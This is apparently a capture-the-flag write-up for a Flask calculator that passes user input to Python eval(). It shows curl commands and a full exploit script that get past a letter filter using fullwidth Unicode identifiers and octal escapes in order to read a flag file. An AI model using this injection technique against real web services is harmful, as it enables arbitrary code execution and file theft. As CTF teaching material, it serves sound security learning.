Flask Calculator
Flask Calculator
Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: unicode_normalization_bypass, fullwidth_characters, octal_escape_sequences, eval_injection
Summary
Flask Calculator - Duckerz CTF
Challenge Description
Original (Russian):
В унике попросили написать калькулятор в качестве первой лабы, но препод сказал, что я сделал что-то не так…
Translation:
At uni they asked me to write a calculator as my first lab, but the professor said I did something wrong...
URL: http://tasks.duckerz.ru:30062
Analysis
Initial Reconnaissance
The challenge presents a Flask-based web calculator that accepts mathematical expressions via POST request.
bash read-only • copy allowed# Basic functionality test curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=7*7' # Returns: 49 curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=2**3' # Returns: 8
The server clearly uses Python's eval() function to compute expressions - a classic security vulnerability.
Filter Discovery
The HTML form has maxlength="9" but this is client-side only. The server accepts longer input.
However, there's a server-side filter in place:
bash read-only • copy allowed# Attempting to use letters curl -s -X POST http://tasks.duckerz.ru:30062 --data 'Expression=open' # Returns: "Only [0-9] and special characters"
Filter rules identified:
- Regular ASCII letters (a-z, A-Z) are BLOCKED
- Underscore (_) is BLOCKED
- Digits (0-9) are ALLOWED
- All special characters are ALLOWED:
!@#$%^&*()-+=[]{}|\\:;"'<>,./?~
Bypass Techniques
Technique 1: Octal Escape Sequences
Python strings support octal escape sequences (\NNN). These can be used to construct any string without using actual letters:
python read-only • copy allowed# Example: "open" in octal "\157\160\145\156" # = "open" # Octal values: # o = 157 (octal) = 111 (decimal) # p = 160 (octal) = 112 (decimal) # e = 145 (octal) = 101 (decimal) # n = 156 (octal) = 110 (decimal)
This allows creating arbitrary strings, but we still need a way to execute them.
Technique 2: Fullwidth Unicode Characters (KEY BYPASS)
This is the critical discovery. Unicode contains "fullwidth" versions of ASCII letters:
- Fullwidth lowercase: U+FF41 to U+FF5A (a to z)
- Fullwidth uppercase: U+FF21 to U+FF3A (A to Z)
Crucially:
- The filter does NOT block these characters (it only checks for ASCII letters)
- Python's identifier normalization recognizes fullwidth letters as valid identifiers
eval(fullwidth) is treated as the built-inevalfunction!
python read-only • copy allowed# Fullwidth "eval": # e = U+FF45 # v = U+FF56 # a = U+FF41 # l = U+FF4C
Solution
Building the Payload
We need to execute: open('flag').read()
Step 1: Convert the command to octal:
python read-only • copy alloweddef to_octal(s): return ''.join(f'\\{ord(c):03o}' for c in s) command = "open('flag').read()" print(to_octal(command)) # Output: \157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051
Step 2: Wrap with fullwidth eval:
eval("\157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051")
This is equivalent to:
python read-only • copy allowedeval("open('flag').read()")
Final Exploit
bash read-only • copy allowedcurl -s -X POST http://tasks.duckerz.ru:30062 \ --data-urlencode 'Expression=eval("\157\160\145\156\050\047\146\154\141\147\047\051\056\162\145\141\144\050\051")'
Python Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ Flask Calculator - Duckerz CTF Unicode normalization + octal escape bypass """ import requests URL = "http://tasks.duckerz.ru:30062" def to_fullwidth(s): """Convert ASCII letters to fullwidth Unicode""" result = "" for c in s: if 'a' <= c <= 'z': result += chr(ord(c) - ord('a') + 0xFF41) elif 'A' <= c <= 'Z': result += chr(ord(c) - ord('A') + 0xFF21) else: result += c return result def to_octal(s): """Convert string to octal escape sequence""" return ''.join(f'\\{ord(c):03o}' for c in s) # Build payload command = "open('flag').read()" octal_command = to_octal(command) fullwidth_eval = to_fullwidth("eval") payload = f'{fullwidth_eval}("{octal_command}")' print(f"[*] Payload: {payload}") # Execute response = requests.post(URL, data={"Expression": payload}) print(f"[+] Response: {response.text}")
Technical Deep Dive
Why Fullwidth Characters Work
Python uses Unicode normalization (NFKC) for identifiers. This means:
python read-only • copy allowed# These are all equivalent in Python: eval # Regular ASCII eval # Fullwidth (U+FF45, U+FF56, U+FF41, U+FF4C)
The filter likely uses a simple regex like [a-zA-Z] or isalpha() on ASCII, which doesn't catch fullwidth characters.
Octal Escape Reference
Common characters in octal:
| Char | Octal | Char | Octal |
|---|---|---|---|
| a | \141 | n | \156 |
| e | \145 | o | \157 |
| f | \146 | p | \160 |
| g | \147 | r | \162 |
| l | \154 | t | \164 |
| ' | \047 | ( | \050 |
| ) | \051 | . | \056 |
| |
Alternative Approaches
Using __import__
python read-only • copy allowed# Fullwidth __import__ with octal for module name import = __import__ # If underscore was allowed
Using getattr and __builtins__
python read-only • copy allowed# More complex but works if other functions are available getattr(builtins, "\145\166\141\154")
References
- Unicode Normalization in Python
- PEP 3131 - Supporting Non-ASCII Identifiers
- Fullwidth Unicode Block